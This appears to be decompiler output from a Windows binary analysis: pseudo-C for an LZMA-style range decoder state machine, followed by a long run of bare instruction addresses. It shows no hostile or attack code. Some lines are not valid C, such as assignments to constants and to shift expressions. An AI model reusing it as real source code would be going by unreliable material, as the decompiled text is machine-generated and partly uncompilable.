                                                                                                        							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
                                                                                                        							__eflags =  *(__ebp - 0xc) - __ecx;
                                                                                                        							if( *(__ebp - 0xc) >= __ecx) {
                                                                                                        								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                                                                                        								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                                                                                        								__cx = __ax;
                                                                                                        								__cx = __ax >> 5;
                                                                                                        								__eax = __eax - __ecx;
                                                                                                        								__edx = __edx + 1;
                                                                                                        								__eflags = __edx;
                                                                                                        								 *__esi = __ax;
                                                                                                        								 *(__ebp - 0x50) = __edx;
                                                                                                        							} else {
                                                                                                        								 *(__ebp - 0x10) = __ecx;
                                                                                                        								0x800 = 0x800 - __edi;
                                                                                                        								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                                                                                        								 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
                                                                                                        								 *__esi = __cx;
                                                                                                        							}
                                                                                                        							__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                                                                        							if( *(__ebp - 0x10) >= 0x1000000) {
                                                                                                        								goto L148;
                                                                                                        							} else {
                                                                                                        								goto L146;
                                                                                                        							}
                                                                                                        						case 0x19:
                                                                                                        							__eflags = __ebx - 4;
                                                                                                        							if(__ebx < 4) {
                                                                                                        								 *(__ebp - 0x2c) = __ebx;
                                                                                                        								L119:
                                                                                                        								_t393 = __ebp - 0x2c;
                                                                                                        								 *_t393 =  *(__ebp - 0x2c) + 1;
                                                                                                        								__eflags =  *_t393;
                                                                                                        								L120:
                                                                                                        								__eax =  *(__ebp - 0x2c);
                                                                                                        								__eflags = __eax;
                                                                                                        								if(__eax == 0) {
                                                                                                        									 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
                                                                                                        									goto L170;
                                                                                                        								}
                                                                                                        								__eflags = __eax -  *(__ebp - 0x60);
                                                                                                        								if(__eax >  *(__ebp - 0x60)) {
                                                                                                        									goto L171;
                                                                                                        								}
                                                                                                        								 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
                                                                                                        								__eax =  *(__ebp - 0x30);
                                                                                                        								_t400 = __ebp - 0x60;
                                                                                                        								 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
                                                                                                        								__eflags =  *_t400;
                                                                                                        								goto L123;
                                                                                                        							}
                                                                                                        							__ecx = __ebx;
                                                                                                        							__eax = __ebx;
                                                                                                        							__ecx = __ebx >> 1;
                                                                                                        							__eax = __ebx & 0x00000001;
                                                                                                        							__ecx = (__ebx >> 1) - 1;
                                                                                                        							__al = __al | 0x00000002;
                                                                                                        							__eax = (__ebx & 0x00000001) << __cl;
                                                                                                        							__eflags = __ebx - 0xe;
                                                                                                        							 *(__ebp - 0x2c) = __eax;
                                                                                                        							if(__ebx >= 0xe) {
                                                                                                        								__ebx = 0;
                                                                                                        								 *(__ebp - 0x48) = __ecx;
                                                                                                        								L102:
                                                                                                        								__eflags =  *(__ebp - 0x48);
                                                                                                        								if( *(__ebp - 0x48) <= 0) {
                                                                                                        									__eax = __eax + __ebx;
                                                                                                        									 *(__ebp - 0x40) = 4;
                                                                                                        									 *(__ebp - 0x2c) = __eax;
                                                                                                        									__eax =  *(__ebp - 4);
                                                                                                        									__eax =  *(__ebp - 4) + 0x644;
                                                                                                        									__eflags = __eax;
                                                                                                        									L108:
                                                                                                        									__ebx = 0;
                                                                                                        									 *(__ebp - 0x58) = __eax;
                                                                                                        									 *(__ebp - 0x50) = 1;
                                                                                                        									 *(__ebp - 0x44) = 0;
                                                                                                        									 *(__ebp - 0x48) = 0;
                                                                                                        									L112:
                                                                                                        									__eax =  *(__ebp - 0x40);
                                                                                                        									__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
                                                                                                        									if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
                                                                                                        										_t391 = __ebp - 0x2c;
                                                                                                        										 *_t391 =  *(__ebp - 0x2c) + __ebx;
                                                                                                        										__eflags =  *_t391;
                                                                                                        										goto L119;
                                                                                                        									}
                                                                                                        									__eax =  *(__ebp - 0x50);
                                                                                                        									 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
                                                                                                        									__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
                                                                                                        									__eax =  *(__ebp - 0x58);
                                                                                                        									__esi = __edi + __eax;
                                                                                                        									 *(__ebp - 0x54) = __esi;
                                                                                                        									__ax =  *__esi;
                                                                                                        									__ecx = __ax & 0x0000ffff;
                                                                                                        									__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
                                                                                                        									__eflags =  *(__ebp - 0xc) - __edx;
                                                                                                        									if( *(__ebp - 0xc) >= __edx) {
                                                                                                        										__ecx = 0;
                                                                                                        										 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
                                                                                                        										__ecx = 1;
                                                                                                        										 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
                                                                                                        										__ebx = 1;
                                                                                                        										__ecx =  *(__ebp - 0x48);
                                                                                                        										__ebx = 1 << __cl;
                                                                                                        										__ecx = 1 << __cl;
                                                                                                        										__ebx =  *(__ebp - 0x44);
                                                                                                        										__ebx =  *(__ebp - 0x44) | __ecx;
                                                                                                        										__cx = __ax;
                                                                                                        										__cx = __ax >> 5;
                                                                                                        										__eax = __eax - __ecx;
                                                                                                        										__edi = __edi + 1;
                                                                                                        										__eflags = __edi;
                                                                                                        										 *(__ebp - 0x44) = __ebx;
                                                                                                        										 *__esi = __ax;
                                                                                                        										 *(__ebp - 0x50) = __edi;
                                                                                                        									} else {
                                                                                                        										 *(__ebp - 0x10) = __edx;
                                                                                                        										0x800 = 0x800 - __ecx;
                                                                                                        										0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
                                                                                                        										 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
                                                                                                        										 *__esi = __dx;
                                                                                                        									}
                                                                                                        									__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                                                                        									if( *(__ebp - 0x10) >= 0x1000000) {
                                                                                                        										L111:
                                                                                                        										_t368 = __ebp - 0x48;
                                                                                                        										 *_t368 =  *(__ebp - 0x48) + 1;
                                                                                                        										__eflags =  *_t368;
                                                                                                        										goto L112;
                                                                                                        									} else {
                                                                                                        										goto L109;
                                                                                                        									}
                                                                                                        								}
                                                                                                        								__ecx =  *(__ebp - 0xc);
                                                                                                        								__ebx = __ebx + __ebx;
                                                                                                        								 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
                                                                                                        								__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
                                                                                                        								 *(__ebp - 0x44) = __ebx;
                                                                                                        								if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
                                                                                                        									__ecx =  *(__ebp - 0x10);
                                                                                                        									 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
                                                                                                        									__ebx = __ebx | 0x00000001;
                                                                                                        									__eflags = __ebx;
                                                                                                        									 *(__ebp - 0x44) = __ebx;
                                                                                                        								}
                                                                                                        								__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                                                                        								if( *(__ebp - 0x10) >= 0x1000000) {
                                                                                                        									L101:
                                                                                                        									_t338 = __ebp - 0x48;
                                                                                                        									 *_t338 =  *(__ebp - 0x48) - 1;
                                                                                                        									__eflags =  *_t338;
                                                                                                        									goto L102;
                                                                                                        								} else {
                                                                                                        									goto L99;
                                                                                                        								}
                                                                                                        							}
                                                                                                        							__edx =  *(__ebp - 4);
                                                                                                        							__eax = __eax - __ebx;
                                                                                                        							 *(__ebp - 0x40) = __ecx;
                                                                                                        							__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
                                                                                                        							goto L108;
                                                                                                        						case 0x1a:
                                                                                                        							goto L55;
                                                                                                        						case 0x1b:
                                                                                                        							L75:
                                                                                                        							__eflags =  *(__ebp - 0x64);
                                                                                                        							if( *(__ebp - 0x64) == 0) {
                                                                                                        								 *(__ebp - 0x88) = 0x1b;
                                                                                                        								goto L170;
                                                                                                        							}
                                                                                                        							__eax =  *(__ebp - 0x14);
                                                                                                        							__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
                                                                                                        							__eflags = __eax -  *(__ebp - 0x74);
                                                                                                        							if(__eax >=  *(__ebp - 0x74)) {
                                                                                                        								__eax = __eax +  *(__ebp - 0x74);
                                                                                                        								__eflags = __eax;
                                                                                                        							}
                                                                                                        							__edx =  *(__ebp - 8);
                                                                                                        							__cl =  *(__eax + __edx);
                                                                                                        							__eax =  *(__ebp - 0x14);
                                                                                                        							 *(__ebp - 0x5c) = __cl;
                                                                                                        							 *(__eax + __edx) = __cl;
                                                                                                        							__eax = __eax + 1;
                                                                                                        							__edx = 0;
                                                                                                        							_t274 = __eax %  *(__ebp - 0x74);
                                                                                                        							__eax = __eax /  *(__ebp - 0x74);
                                                                                                        							__edx = _t274;
                                                                                                        							__eax =  *(__ebp - 0x68);
                                                                                                        							 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
                                                                                                        							 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
                                                                                                        							_t283 = __ebp - 0x64;
                                                                                                        							 *_t283 =  *(__ebp - 0x64) - 1;
                                                                                                        							__eflags =  *_t283;
                                                                                                        							 *( *(__ebp - 0x68)) = __cl;
                                                                                                        							goto L79;
                                                                                                        						case 0x1c:
                                                                                                        							while(1) {
                                                                                                        								L123:
                                                                                                        								__eflags =  *(__ebp - 0x64);
                                                                                                        								if( *(__ebp - 0x64) == 0) {
                                                                                                        									break;
                                                                                                        								}
                                                                                                        								__eax =  *(__ebp - 0x14);
                                                                                                        								__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
                                                                                                        								__eflags = __eax -  *(__ebp - 0x74);
                                                                                                        								if(__eax >=  *(__ebp - 0x74)) {
                                                                                                        									__eax = __eax +  *(__ebp - 0x74);
                                                                                                        									__eflags = __eax;
                                                                                                        								}
                                                                                                        								__edx =  *(__ebp - 8);
                                                                                                        								__cl =  *(__eax + __edx);
                                                                                                        								__eax =  *(__ebp - 0x14);
                                                                                                        								 *(__ebp - 0x5c) = __cl;
                                                                                                        								 *(__eax + __edx) = __cl;
                                                                                                        								__eax = __eax + 1;
                                                                                                        								__edx = 0;
                                                                                                        								_t414 = __eax %  *(__ebp - 0x74);
                                                                                                        								__eax = __eax /  *(__ebp - 0x74);
                                                                                                        								__edx = _t414;
                                                                                                        								__eax =  *(__ebp - 0x68);
                                                                                                        								 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
                                                                                                        								 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
                                                                                                        								 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
                                                                                                        								__eflags =  *(__ebp - 0x30);
                                                                                                        								 *( *(__ebp - 0x68)) = __cl;
                                                                                                        								 *(__ebp - 0x14) = __edx;
                                                                                                        								if( *(__ebp - 0x30) > 0) {
                                                                                                        									continue;
                                                                                                        								} else {
                                                                                                        									goto L80;
                                                                                                        								}
                                                                                                        							}
                                                                                                        							 *(__ebp - 0x88) = 0x1c;
                                                                                                        							goto L170;
                                                                                                        					}
                                                                                                        				}
                                                                                                        			}













                                                                                                        0x00000000
                                                                                                        0x00406131
                                                                                                        0x00406131
                                                                                                        0x00406136
                                                                                                        0x004061ad
                                                                                                        0x004061b4
                                                                                                        0x004061be
                                                                                                        0x0040679d
                                                                                                        0x0040679d
                                                                                                        0x004067a0
                                                                                                        0x004067a0
                                                                                                        0x004067a6
                                                                                                        0x004067ac
                                                                                                        0x004067b2
                                                                                                        0x004067cc
                                                                                                        0x004067cf
                                                                                                        0x004067d5
                                                                                                        0x004067e0
                                                                                                        0x004067e2
                                                                                                        0x004067b4
                                                                                                        0x004067b4
                                                                                                        0x004067c3
                                                                                                        0x004067c7
                                                                                                        0x004067c7
                                                                                                        0x004067ec
                                                                                                        0x00406813
                                                                                                        0x00406813
                                                                                                        0x00406819
                                                                                                        0x00406819
                                                                                                        0x00000000
                                                                                                        0x004067ee
                                                                                                        0x004067ee
                                                                                                        0x004067f2
                                                                                                        0x004069a1
                                                                                                        0x00000000
                                                                                                        0x004069a1
                                                                                                        0x004067fe
                                                                                                        0x00406805
                                                                                                        0x0040680d
                                                                                                        0x00406810
                                                                                                        0x00000000
                                                                                                        0x00406810
                                                                                                        0x00406138
                                                                                                        0x00406138
                                                                                                        0x0040613c
                                                                                                        0x00406144
                                                                                                        0x00406147
                                                                                                        0x00406149
                                                                                                        0x0040614c
                                                                                                        0x0040614e
                                                                                                        0x00406153
                                                                                                        0x00406156
                                                                                                        0x0040615d
                                                                                                        0x00406164
                                                                                                        0x00406167
                                                                                                        0x00406172
                                                                                                        0x0040617a
                                                                                                        0x0040617a
                                                                                                        0x00406174
                                                                                                        0x00406174
                                                                                                        0x00406174
                                                                                                        0x00406169
                                                                                                        0x00406169
                                                                                                        0x00406169
                                                                                                        0x00406181
                                                                                                        0x0040619f
                                                                                                        0x004061a1
                                                                                                        0x00406374
                                                                                                        0x00406374
                                                                                                        0x00406377
                                                                                                        0x0040637a
                                                                                                        0x0040637d
                                                                                                        0x00406380
                                                                                                        0x00406383
                                                                                                        0x00406386
                                                                                                        0x00406389
                                                                                                        0x0040638c
                                                                                                        0x00406392
                                                                                                        0x004063aa
                                                                                                        0x004063ad
                                                                                                        0x004063b0
                                                                                                        0x004063b3
                                                                                                        0x004063b3
                                                                                                        0x004063b6
                                                                                                        0x004063bc
                                                                                                        0x00406394
                                                                                                        0x00406394
                                                                                                        0x0040639c
                                                                                                        0x004063a1
                                                                                                        0x004063a3
                                                                                                        0x004063a5
                                                                                                        0x004063a5
                                                                                                        0x004063c6
                                                                                                        0x004063c9
                                                                                                        0x0040636c
                                                                                                        0x00406372
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x004063cb
                                                                                                        0x00406347
                                                                                                        0x0040634b
                                                                                                        0x00406953
                                                                                                        0x00000000
                                                                                                        0x00406953
                                                                                                        0x00406351
                                                                                                        0x00406354
                                                                                                        0x00406357
                                                                                                        0x0040635b
                                                                                                        0x0040635e
                                                                                                        0x00406364
                                                                                                        0x00406366
                                                                                                        0x00406366
                                                                                                        0x00406369
                                                                                                        0x00000000
                                                                                                        0x00406369
                                                                                                        0x00406183
                                                                                                        0x00406183
                                                                                                        0x00406186
                                                                                                        0x0040618c
                                                                                                        0x0040618e
                                                                                                        0x0040618e
                                                                                                        0x00406191
                                                                                                        0x00406194
                                                                                                        0x00406196
                                                                                                        0x00406197
                                                                                                        0x0040619a
                                                                                                        0x00406207
                                                                                                        0x00406207
                                                                                                        0x0040620b
                                                                                                        0x0040620e
                                                                                                        0x00406211
                                                                                                        0x00406214
                                                                                                        0x00406217
                                                                                                        0x00406218
                                                                                                        0x0040621b
                                                                                                        0x0040621d
                                                                                                        0x00406223
                                                                                                        0x00406226
                                                                                                        0x00406229
                                                                                                        0x0040622c
                                                                                                        0x0040622f
                                                                                                        0x00406235
                                                                                                        0x00406251
                                                                                                        0x00406254
                                                                                                        0x00406257
                                                                                                        0x0040625a
                                                                                                        0x00406261
                                                                                                        0x00406267
                                                                                                        0x0040626b
                                                                                                        0x00406237
                                                                                                        0x00406237
                                                                                                        0x0040623b
                                                                                                        0x00406243
                                                                                                        0x00406248
                                                                                                        0x0040624a
                                                                                                        0x0040624c
                                                                                                        0x0040624c
                                                                                                        0x00406275
                                                                                                        0x00406278
                                                                                                        0x004061ef
                                                                                                        0x004061ef
                                                                                                        0x004061f5
                                                                                                        0x004062a8
                                                                                                        0x004062ae
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x004062b0
                                                                                                        0x004062b3
                                                                                                        0x004062b6
                                                                                                        0x004062b9
                                                                                                        0x004062bc
                                                                                                        0x004062bf
                                                                                                        0x004062c2
                                                                                                        0x004062c5
                                                                                                        0x004062c8
                                                                                                        0x004062ce
                                                                                                        0x004062e6
                                                                                                        0x004062e9
                                                                                                        0x004062ec
                                                                                                        0x004062ef
                                                                                                        0x004062ef
                                                                                                        0x004062f2
                                                                                                        0x004062f8
                                                                                                        0x004062d0
                                                                                                        0x004062d0
                                                                                                        0x004062d8
                                                                                                        0x004062dd
                                                                                                        0x004062df
                                                                                                        0x004062e1
                                                                                                        0x004062e1
                                                                                                        0x00406302
                                                                                                        0x00406305
                                                                                                        0x00406283
                                                                                                        0x00406287
                                                                                                        0x00406947
                                                                                                        0x00000000
                                                                                                        0x00406947
                                                                                                        0x0040628d
                                                                                                        0x00406290
                                                                                                        0x00406293
                                                                                                        0x00406297
                                                                                                        0x0040629a
                                                                                                        0x004062a0
                                                                                                        0x004062a2
                                                                                                        0x004062a2
                                                                                                        0x004062a5
                                                                                                        0x004062a5
                                                                                                        0x00406305
                                                                                                        0x0040630c
                                                                                                        0x0040630c
                                                                                                        0x0040630c
                                                                                                        0x00406310
                                                                                                        0x00406310
                                                                                                        0x00406313
                                                                                                        0x00406316
                                                                                                        0x0040631a
                                                                                                        0x0040695f
                                                                                                        0x00000000
                                                                                                        0x0040695f
                                                                                                        0x00406320
                                                                                                        0x00406323
                                                                                                        0x00406326
                                                                                                        0x00406329
                                                                                                        0x0040632c
                                                                                                        0x0040632f
                                                                                                        0x00406332
                                                                                                        0x00406334
                                                                                                        0x00406337
                                                                                                        0x0040633a
                                                                                                        0x0040633d
                                                                                                        0x0040633f
                                                                                                        0x0040633f
                                                                                                        0x0040633f
                                                                                                        0x004064dc
                                                                                                        0x004064dc
                                                                                                        0x004064df
                                                                                                        0x004064df
                                                                                                        0x00000000
                                                                                                        0x004064df
                                                                                                        0x00406201
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x0040627e
                                                                                                        0x004061ca
                                                                                                        0x004061ce
                                                                                                        0x0040693b
                                                                                                        0x004069b7
                                                                                                        0x004069bf
                                                                                                        0x004069c6
                                                                                                        0x004069c8
                                                                                                        0x004069cf
                                                                                                        0x004069d3
                                                                                                        0x004069d3
                                                                                                        0x004061d4
                                                                                                        0x004061d7
                                                                                                        0x004061da
                                                                                                        0x004061de
                                                                                                        0x004061e1
                                                                                                        0x004061e7
                                                                                                        0x004061e9
                                                                                                        0x004061e9
                                                                                                        0x004061ec
                                                                                                        0x00000000
                                                                                                        0x004061ec
                                                                                                        0x00406278
                                                                                                        0x00406181
                                                                                                        0x00405fb5
                                                                                                        0x00405fb5
                                                                                                        0x00405fbe
                                                                                                        0x004069cc
                                                                                                        0x004069cc
                                                                                                        0x00000000
                                                                                                        0x004069cc
                                                                                                        0x00405fc4
                                                                                                        0x00000000
                                                                                                        0x00405fcf
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00405fd8
                                                                                                        0x00405fdb
                                                                                                        0x00405fde
                                                                                                        0x00405fe2
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00405fe8
                                                                                                        0x00405feb
                                                                                                        0x00405fed
                                                                                                        0x00405fee
                                                                                                        0x00405ff1
                                                                                                        0x00405ff3
                                                                                                        0x00405ff4
                                                                                                        0x00405ff6
                                                                                                        0x00405ff9
                                                                                                        0x00405ffe
                                                                                                        0x00406003
                                                                                                        0x0040600c
                                                                                                        0x0040601f
                                                                                                        0x00406022
                                                                                                        0x0040602e
                                                                                                        0x00406056
                                                                                                        0x00406058
                                                                                                        0x00406066
                                                                                                        0x00406066
                                                                                                        0x0040606a
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x0040605a
                                                                                                        0x0040605a
                                                                                                        0x0040605d
                                                                                                        0x0040605e
                                                                                                        0x0040605e
                                                                                                        0x00000000
                                                                                                        0x0040605a
                                                                                                        0x00406034
                                                                                                        0x00406039
                                                                                                        0x00406039
                                                                                                        0x00406042
                                                                                                        0x0040604a
                                                                                                        0x0040604d
                                                                                                        0x00000000
                                                                                                        0x00406053
                                                                                                        0x00406053
                                                                                                        0x00000000
                                                                                                        0x00406053
                                                                                                        0x00000000
                                                                                                        0x00406070
                                                                                                        0x00406070
                                                                                                        0x00406074
                                                                                                        0x00406920
                                                                                                        0x00000000
                                                                                                        0x00406920
                                                                                                        0x0040607d
                                                                                                        0x0040608d
                                                                                                        0x00406090
                                                                                                        0x00406093
                                                                                                        0x00406093
                                                                                                        0x00406093
                                                                                                        0x00406096
                                                                                                        0x0040609a
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x0040609c
                                                                                                        0x004060a2
                                                                                                        0x004060cc
                                                                                                        0x004060d2
                                                                                                        0x004060d9
                                                                                                        0x00000000
                                                                                                        0x004060d9
                                                                                                        0x004060a8
                                                                                                        0x004060ab
                                                                                                        0x004060b0
                                                                                                        0x004060b0
                                                                                                        0x004060bb
                                                                                                        0x004060c3
                                                                                                        0x004060c6
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x0040610b
                                                                                                        0x00406111
                                                                                                        0x00406114
                                                                                                        0x00406121
                                                                                                        0x00406129
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x004060e0
                                                                                                        0x004060e0
                                                                                                        0x004060e4
                                                                                                        0x0040692f
                                                                                                        0x00000000
                                                                                                        0x0040692f
                                                                                                        0x004060f0
                                                                                                        0x004060fb
                                                                                                        0x004060fb
                                                                                                        0x004060fb
                                                                                                        0x004060fe
                                                                                                        0x00406101
                                                                                                        0x00406104
                                                                                                        0x00406109
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x004063d0
                                                                                                        0x004063d4
                                                                                                        0x004063f2
                                                                                                        0x004063f5
                                                                                                        0x004063fc
                                                                                                        0x004063ff
                                                                                                        0x00406402
                                                                                                        0x00406405
                                                                                                        0x00406408
                                                                                                        0x0040640b
                                                                                                        0x0040640d
                                                                                                        0x00406414
                                                                                                        0x00406415
                                                                                                        0x00406417
                                                                                                        0x0040641a
                                                                                                        0x0040641d
                                                                                                        0x00406420
                                                                                                        0x00406420
                                                                                                        0x00406425
                                                                                                        0x00000000
                                                                                                        0x00406425
                                                                                                        0x004063d6
                                                                                                        0x004063d9
                                                                                                        0x004063dc
                                                                                                        0x004063e6
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x0040643a
                                                                                                        0x0040643e
                                                                                                        0x00406461
                                                                                                        0x00406464
                                                                                                        0x00406467
                                                                                                        0x00406471
                                                                                                        0x00406440
                                                                                                        0x00406440
                                                                                                        0x00406443
                                                                                                        0x00406446
                                                                                                        0x00406449
                                                                                                        0x00406456
                                                                                                        0x00406459
                                                                                                        0x00406459
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x0040647d
                                                                                                        0x00406481
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406487
                                                                                                        0x0040648b
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406491
                                                                                                        0x00406493
                                                                                                        0x00406497
                                                                                                        0x00406497
                                                                                                        0x0040649a
                                                                                                        0x0040649e
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x004064ee
                                                                                                        0x004064f2
                                                                                                        0x004064f9
                                                                                                        0x004064fc
                                                                                                        0x004064ff
                                                                                                        0x00406509
                                                                                                        0x00000000
                                                                                                        0x00406509
                                                                                                        0x004064f4
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406515
                                                                                                        0x00406519
                                                                                                        0x00406520
                                                                                                        0x00406523
                                                                                                        0x00406526
                                                                                                        0x0040651b
                                                                                                        0x0040651b
                                                                                                        0x0040651b
                                                                                                        0x00406529
                                                                                                        0x0040652c
                                                                                                        0x0040652f
                                                                                                        0x0040652f
                                                                                                        0x00406532
                                                                                                        0x00406535
                                                                                                        0x00406538
                                                                                                        0x00406538
                                                                                                        0x0040653b
                                                                                                        0x00406542
                                                                                                        0x00406547
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x004065d5
                                                                                                        0x004065d5
                                                                                                        0x004065d9
                                                                                                        0x00406977
                                                                                                        0x00000000
                                                                                                        0x00406977
                                                                                                        0x004065df
                                                                                                        0x004065e2
                                                                                                        0x004065e5
                                                                                                        0x004065e9
                                                                                                        0x004065ec
                                                                                                        0x004065f2
                                                                                                        0x004065f4
                                                                                                        0x004065f4
                                                                                                        0x004065f4
                                                                                                        0x004065f7
                                                                                                        0x004065fa
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406658
                                                                                                        0x00406658
                                                                                                        0x0040665c
                                                                                                        0x00406983
                                                                                                        0x00000000
                                                                                                        0x00406983
                                                                                                        0x00406662
                                                                                                        0x00406665
                                                                                                        0x00406668
                                                                                                        0x0040666c
                                                                                                        0x0040666f
                                                                                                        0x00406675
                                                                                                        0x00406677
                                                                                                        0x00406677
                                                                                                        0x00406677
                                                                                                        0x0040667a
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406428
                                                                                                        0x00406428
                                                                                                        0x0040642b
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406767
                                                                                                        0x0040676b
                                                                                                        0x0040678d
                                                                                                        0x00406790
                                                                                                        0x0040679a
                                                                                                        0x00000000
                                                                                                        0x0040679a
                                                                                                        0x0040676d
                                                                                                        0x00406770
                                                                                                        0x00406774
                                                                                                        0x00406777
                                                                                                        0x00406777
                                                                                                        0x0040677a
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406824
                                                                                                        0x00406828
                                                                                                        0x00406846
                                                                                                        0x00406846
                                                                                                        0x00406846
                                                                                                        0x0040684d
                                                                                                        0x00406854
                                                                                                        0x0040685b
                                                                                                        0x0040685b
                                                                                                        0x00000000
                                                                                                        0x0040685b
                                                                                                        0x0040682a
                                                                                                        0x0040682d
                                                                                                        0x00406830
                                                                                                        0x00406833
                                                                                                        0x0040683a
                                                                                                        0x0040677e
                                                                                                        0x0040677e
                                                                                                        0x00406781
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406915
                                                                                                        0x00406918
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x0040654f
                                                                                                        0x00406551
                                                                                                        0x00406558
                                                                                                        0x00406559
                                                                                                        0x0040655b
                                                                                                        0x0040655e
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406566
                                                                                                        0x00406569
                                                                                                        0x0040656c
                                                                                                        0x0040656e
                                                                                                        0x00406570
                                                                                                        0x00406570
                                                                                                        0x00406571
                                                                                                        0x00406574
                                                                                                        0x0040657b
                                                                                                        0x0040657e
                                                                                                        0x0040658c
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406862
                                                                                                        0x00406862
                                                                                                        0x00406865
                                                                                                        0x0040686c
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406871
                                                                                                        0x00406871
                                                                                                        0x00406875
                                                                                                        0x004069ad
                                                                                                        0x00000000
                                                                                                        0x004069ad
                                                                                                        0x0040687b
                                                                                                        0x0040687e
                                                                                                        0x00406881
                                                                                                        0x00406885
                                                                                                        0x00406888
                                                                                                        0x0040688e
                                                                                                        0x00406890
                                                                                                        0x00406890
                                                                                                        0x00406890
                                                                                                        0x00406893
                                                                                                        0x00406896
                                                                                                        0x00406896
                                                                                                        0x00406896
                                                                                                        0x00406896
                                                                                                        0x00406899
                                                                                                        0x00406899
                                                                                                        0x0040689d
                                                                                                        0x004068fd
                                                                                                        0x00406900
                                                                                                        0x00406905
                                                                                                        0x00406906
                                                                                                        0x00406908
                                                                                                        0x0040690a
                                                                                                        0x0040690d
                                                                                                        0x00000000
                                                                                                        0x0040690d
                                                                                                        0x0040689f
                                                                                                        0x004068a5
                                                                                                        0x004068a8
                                                                                                        0x004068ab
                                                                                                        0x004068ae
                                                                                                        0x004068b1
                                                                                                        0x004068b4
                                                                                                        0x004068b7
                                                                                                        0x004068ba
                                                                                                        0x004068bd
                                                                                                        0x004068c0
                                                                                                        0x004068d9
                                                                                                        0x004068dc
                                                                                                        0x004068df
                                                                                                        0x004068e2
                                                                                                        0x004068e6
                                                                                                        0x004068e8
                                                                                                        0x004068e8
                                                                                                        0x004068e9
                                                                                                        0x004068ec
                                                                                                        0x004068c2
                                                                                                        0x004068c2
                                                                                                        0x004068ca
                                                                                                        0x004068cf
                                                                                                        0x004068d1
                                                                                                        0x004068d4
                                                                                                        0x004068d4
                                                                                                        0x004068ef
                                                                                                        0x004068f6
                                                                                                        0x00000000
                                                                                                        0x004068f8
                                                                                                        0x00000000
                                                                                                        0x004068f8
                                                                                                        0x00000000
                                                                                                        0x00406594
                                                                                                        0x00406597
                                                                                                        0x004065cd
                                                                                                        0x004066fd
                                                                                                        0x004066fd
                                                                                                        0x004066fd
                                                                                                        0x004066fd
                                                                                                        0x00406700
                                                                                                        0x00406700
                                                                                                        0x00406703
                                                                                                        0x00406705
                                                                                                        0x0040698f
                                                                                                        0x00000000
                                                                                                        0x0040698f
                                                                                                        0x0040670b
                                                                                                        0x0040670e
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406714
                                                                                                        0x00406718
                                                                                                        0x0040671b
                                                                                                        0x0040671b
